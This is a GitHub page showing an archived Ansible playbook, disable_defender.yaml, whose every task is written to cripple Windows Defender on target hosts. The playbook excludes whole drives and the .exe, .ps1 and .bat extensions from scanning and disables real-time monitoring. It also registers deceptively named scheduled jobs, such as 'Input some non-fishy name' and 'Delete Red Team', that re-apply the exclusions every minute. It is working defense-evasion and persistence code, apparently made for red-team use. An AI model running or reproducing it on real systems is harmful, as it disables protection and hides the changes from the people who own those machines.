This repository has been archived by the owner on May 7, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
disable_defender.yaml
32 lines (32 loc) · 1.69 KB
/
disable_defender.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
-
name: Disable Defender
hosts: windows
strategy: free
gather_facts: no
tasks:
- win_shell: Add-MpPreference -ExclusionPath C:\temp
ignore_errors: yes
- win_shell: Add-MpPreference -ExclusionPath C:\
ignore_errors: yes
- win_shell: Add-MpPreference -ExclusionPath C:\Windows
ignore_errors: yes
- win_shell: Add-MpPreference -ExclusionExtension .exe
ignore_errors: yes
- win_shell: Add-MpPreference -ExclusionExtension .ps1
ignore_errors: yes
- win_shell: Add-MpPreference -ExclusionExtension .bat
ignore_errors: yes
- win_shell: Register-ScheduledJob -Name 'Ensure AD connected' -ScriptBlock { Add-MpPreference -ExclusionPath C:\temp } -RunNow -RunEvery 00:01:00
ignore_errors: yes
- win_shell: Register-ScheduledJob -Name 'systemd.init' -ScriptBlock { Add-MpPreference -ExclusionPath C:\Windows } -RunNow -RunEvery 00:01:00
ignore_errors: yes
- win_shell: Register-ScheduledJob -Name 'Input some non-fishy name' -ScriptBlock { Add-MpPreference -ExclusionExtension .exe } -RunNow -RunEvery 00:01:00
ignore_errors: yes
- win_shell: Register-ScheduledJob -Name 'Windows startup jobs' -ScriptBlock { Add-MpPreference -ExclusionExtension .bat } -RunNow -RunEvery 00:01:00
ignore_errors: yes
- win_shell: Register-ScheduledJob -Name 'Disable malware' -ScriptBlock { Add-MpPreference -ExclusionExtension .ps1 } -RunNow -RunEvery 00:01:00
ignore_errors: yes
- win_shell: Register-ScheduledJob -Name 'Delete Red Team' -ScriptBlock { Add-MpPreference -ExclusionPath C:\ } -RunNow -RunEvery 00:01:00
ignore_errors: yes
- win_shell: Set-MpPreference -DisableRealtimeMonitoring $true
ignore_errors: yes